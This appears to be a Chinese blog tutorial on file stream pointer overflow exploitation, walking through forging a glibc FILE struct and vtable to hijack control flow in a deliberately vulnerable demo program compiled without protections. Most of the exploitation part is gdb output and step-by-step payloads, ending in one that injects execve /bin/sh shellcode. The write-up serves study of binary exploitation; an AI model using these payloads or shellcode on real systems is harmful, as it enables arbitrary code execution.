7个月前 (11-27)  知识库 |   抢沙发  14 
文章评分 1 次,平均分 5.0

0x00 前言


哄完女票睡觉后,自己辗转反侧许久还是睡不着,干脆爬起来写一下文件流指针(我这里简称 FSP)溢出攻击的笔记。FSP 溢出和栈溢出同样古老,但是 paper 却很少,我翻遍 Google 只发现三四篇文章,都会附在最后的 Reference 里面,学习学习涨涨姿势。

本文先讲述 FSP 溢出攻击的原理,以及边构造边利用的方式攻击了一个示例程序。

另外,因为我接触 pwnable 时间不久,经验不足,基础不牢,如果有错误的地方或理解失误的地方还请指出。

0x01 介绍


许多种不安全的代码组合可以造成 FSP 溢出,比较明显的几种组合方式是: strcpy() ,strcat() ,read() , ....vfprintf(), fprintf(), fputc(), fputs() 的组合。

FSP 溢出攻击通常是用户输入数据覆盖了文件流指针,导致我们可控文件流指针指向的 FILE 结构体(FILE struct)。FILE 结构体具体定义可以看这里,在此不再赘述。

控制了文件流指针后,可以构造合法的 FILE 结构体,最终在系统跳转至 _IO_file_jumps 的时候跳转到我们控制的地址,以控制 eip。

这张图是 FILE 结构体的构成图。

p1

图片来源:https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

下面分析一下一个常见的 FILE 结构体构成。

<code>#!bash
gdb-peda$ x/40a stderr
0xf7fbb980: 0xfbad2086  0x0 0x0 0x0
0xf7fbb990: 0x0 0x0 0x0 0x0
0xf7fbb9a0: 0x0 0x0 0x0 0x0
0xf7fbb9b0: 0x0 0xf7fbba20  0x2 0x0
0xf7fbb9c0: 0xffffffff  0x0 0xf7fbc8ac  0xffffffff
0xf7fbb9d0: 0xffffffff  0x0 0xf7fbbb60  0x0
0xf7fbb9e0: 0x0 0x0 0x0 0x0
0xf7fbb9f0: 0x0 0x0 0x0 0x0
0xf7fbba00: 0x0 0x0 0x0 0x0
0xf7fbba10: 0x0 0xf7fbaa80 <_IO_file_jumps>  0x0 0x0
</code>

这是 stderr 的 FILE 结构体,_IO_file_jumps 的地址是 0xf7fbaa80

<code>#!bash
gdb-peda$ x/21a 0xf7fbaa80
0xf7fbaa80 <_IO_file_jumps>:    0x0 0x0 0xf7e86a70  0xf7e873e0
0xf7fbaa90 <_IO_file_jumps+16>: 0xf7e871b0  0xf7e884d0  0xf7e89360  0xf7e86670
0xf7fbaaa0 <_IO_file_jumps+32>: 0xf7e876c0  0xf7e85d00  0xf7e887a0  0xf7e863a0
0xf7fbaab0 <_IO_file_jumps+48>: 0xf7e862b0  0xf7e7a1e0  0xf7e87610  0xf7e85c00
0xf7fbaac0 <_IO_file_jumps+64>: 0xf7e87650  0xf7e85c90  0xf7e87690  0xf7e89500
0xf7fbaad0 <_IO_file_jumps+80>: 0xf7e89510
</code>

这就是 _IO_file_jumps 储存的要跳转到函数的地址了,比如:

<code>#!bash
gdb-peda$ x/i 0xf7e86670
   0xf7e86670 <_IO_file_xsputn>:    sub    esp,0x3c
</code>

这个地址就是函数 _IO_file_xsputn 的地址。

0x02 利用


大概聪明的你也应该想到利用方法了,我们能控制 FILE 指针的地址,那我们就可以自己构造一个假的 FILE struct,当然 _IO_file_jumps 也可以轻易的伪造。当各种文件处理函数跑到 _IO_file_jumps 寻找接下来该跳转的地址的时候,去我们伪造的 _IO_file_jumps 寻找指针,那么我们就可以控制 eip 执行 shellcode 了。

首先我们看一个示例程序(from: http://repo.hackerzvoice.net/depot_ouah/fsp-overflows.txt):

<code>#!cpp
/*
 * file stream pointer overflow vulnerable program.c
 * -killah
 */
#include <stdio.h>
#include <string.h>

int main(int argc,char **argv)
{
   FILE *test;
   char msg[]="no segfault yet\n";
   char stage[1024];
   if(argc<2) {
      printf("usage : %s <argument>\n",argv[0]);
      exit(-1);
   }
   test=fopen("temp","a");
   strcpy(stage,argv[1]);
   fprintf(test,"%s",msg);
   exit(0);
}
</code>

可以看到先用了 strcpy,再用了 fprintf,很经典的组合方式。

编译:

<code>#!bash
cc -o fsp fsp.c -m32 -zexecstack -fno-stack-protector
</code>

大概由于优化的原因,我这里 fprintf 被优化成了 fputs,不过没差,一样可以利用。

利用的第一步先寻找到溢出的偏移。

当我用r $(python -c "print 'a'*1041 + 'AAAA'")跑的时候,可以控制 ESI。

p2

如图,ESI 已经被控制成 0x41414141,那么这里就是我们控制的文件指针了。我们把整个文件结构体放在栈上, AAAA 的前面 160 个字节。AAAA 也改成指向文件指针开头的地方。

<code>#!bash
gdb-peda$ searchmem AAAA
Searching for 'AAAA' in: None ranges
Found 3 results, display max 3 items:
[stack] : 0xffffd364 ("AAAAR\345td]V\376\367\257\213", <incomplete sequence \342>...)
[stack] : 0xffffd78c ("AAAA")
[stack] : 0xffffdd95 ("AAAA")
</code>

当前 AAAA 的地址为 0xffffd78c,减去 160 个字节后就是 0xffffd6ec。那么构造 payload:

<code>#!bash
r $(python -c "print 'a'*881 + 'B'*160 + '\xec\xd6\xff\xff'")
</code>

p3

报了新的错?没关系,take it easy,现在就开始构造 FILE struct 了。

我们知道 stderr 是一个标准的 FILE 结构体,那我们直接拿它的,在它的基础上改成我们需要的就好了。

<code>#!bash
gdb-peda$ x/160bx stderr
0xf7fbb980: 0x86    0x20    0xad    0xfb    0x00    0x00    0x00    0x00
0xf7fbb988: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xf7fbb990: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xf7fbb998: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xf7fbb9a0: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xf7fbb9a8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xf7fbb9b0: 0x00    0x00    0x00    0x00    0x20    0xba    0xfb    0xf7
0xf7fbb9b8: 0x02    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xf7fbb9c0: 0xff    0xff    0xff    0xff    0x00    0x00    0x00    0x00
0xf7fbb9c8: 0xac    0xc8    0xfb    0xf7    0xff    0xff    0xff    0xff
0xf7fbb9d0: 0xff    0xff    0xff    0xff    0x00    0x00    0x00    0x00
0xf7fbb9d8: 0x60    0xbb    0xfb    0xf7    0x00    0x00    0x00    0x00
0xf7fbb9e0: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xf7fbb9e8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xf7fbb9f0: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xf7fbb9f8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xf7fbba00: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xf7fbba08: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xf7fbba10: 0x00    0x00    0x00    0x00    0x80    0xaa    0xfb    0xf7
0xf7fbba18: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
</code>

经过处理后的到这么一长串:

<code>#!bash
\x86\x20\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xba\xfb\xf7\x02\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x60\xbb\xfb\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xaa\xfb\xf7\x00\x00\x00\x00\x00\x00\x00\x00
</code>

但是我们知道,由于 strcpy 的缘故,并不能容忍 \x00 的存在,我们直接替换成 A 就好了,因为没报错..XD

<code>#!bash
r "`python -c "print 'a'*881 + '\x86\x20\xad\xfbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\xba\xfb\xf7\x02AAAAAAA\xff\xff\xff\xffAAAA\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xffAAAA\x60\xbb\xfb\xf7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xaa\xfb\xf7AAAAAAAA' + '\xec\xd6\xff\xff'"`"
</code>

拿去跑一下,看看有什么问题没有。

p4

快看快看,我们到了最后 call 的地方了。

也就是说,程序运行到要从 _IO_file_jumps 取出指针,然后跳转了。但是遇到了一些小问题, eax 不符合预期。看一下上下文的汇编代码。

<code>#!bash
0xf7e7b239 <fputs+153>: movzx  edx,BYTE PTR [esi+0x46]
0xf7e7b23d <fputs+157>: movsx  edx,dl
0xf7e7b240 <fputs+160>: mov    eax,DWORD PTR [esi+edx*1+0x94]
0xf7e7b247 <fputs+167>: mov    DWORD PTR [esp+0x8],edi
0xf7e7b24b <fputs+171>: mov    DWORD PTR [esp+0x4],ebp
0xf7e7b24f <fputs+175>: mov    DWORD PTR [esp],esi
0xf7e7b252 <fputs+178>: call   DWORD PTR [eax+0x1c]
</code>

edx 是从 esi+0x46 处得来的一个字节的值,eax 是 esi+edx+0x94 处的值,最后 call eax+0x1c。

大体先看一下 esi+0x94 的样子:

<code>#!bash
gdb-peda$ x/10w $esi+0x94
0xffffd780: 0xf7fbaa80  0x41414141  0x41414141  0xffffd6ec
0xffffd790: 0x08048500  0x00000000  0x00000000  0xf7e2f4d3
0xffffd7a0: 0x00000002  0xffffd834
</code>

0xffffd6ec 是我们控制的 FILE 结构体的地址,剩下的两处 0x41414141 正好可以用来写一些值来控制 eax。当 edx 为 0x4~0x8 的时候,正好在这 8 个字节的 0x41 的范围内。

我们让 esi+0x46 处为 8,然后第二处 0x41414141 指向 FILE 结构体前面的一块内存。

<code>#!bash
r "`python -c "print 'a'*881 + '\x86\x20\xad\xfbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\xba\xfb\xf7\x02AAAAAAA\xff\xff\xff\xffAA\x08A\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xffAAAA\x60\xbb\xfb\xf7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xaa\xfb\xf7AAAA\xae\xd6\xff\xff' + '\xec\xd6\xff\xff'"`"
</code>

我这里指向了 0xffffd63e 处,加上 0x1c 后(看上面汇编),为 0xffffd6ca。

p5

已经可以控制 eip 了,我们修改一下 0xffffd6ca 处的地址,使其指向 0xffffd6cf,然后 0xffffd6ce-0xffffd6ec 这 30 个字节上放上 shellcode。注意 shellcode 应该正好为 30 个字节,不能多也不能少,少了的话用 \x90 补充(根据实际情况来就好了)。

最终 payload:

<code>#!bash
r "`python -c "print 'a'*847 + '\xcf\xd6\xff\xff' + '\x90'*9 + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + '\x86\x20\xad\xfbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\xba\xfb\xf7\x02AAAAAAA\xff\xff\xff\xffAA\x08A\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xffAAAA\x60\xbb\xfb\xf7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xaa\xfb\xf7AAAA\xae\xd6\xff\xff' + '\xec\xd6\xff\xff'"`"
</code>

执行效果: p6

0x03 参考


发表评论

表情 格式

暂无评论

切换注册

登录

忘记密码 ?

您也可以使用第三方帐号快捷登录

切换登录

注册

扫一扫二维码分享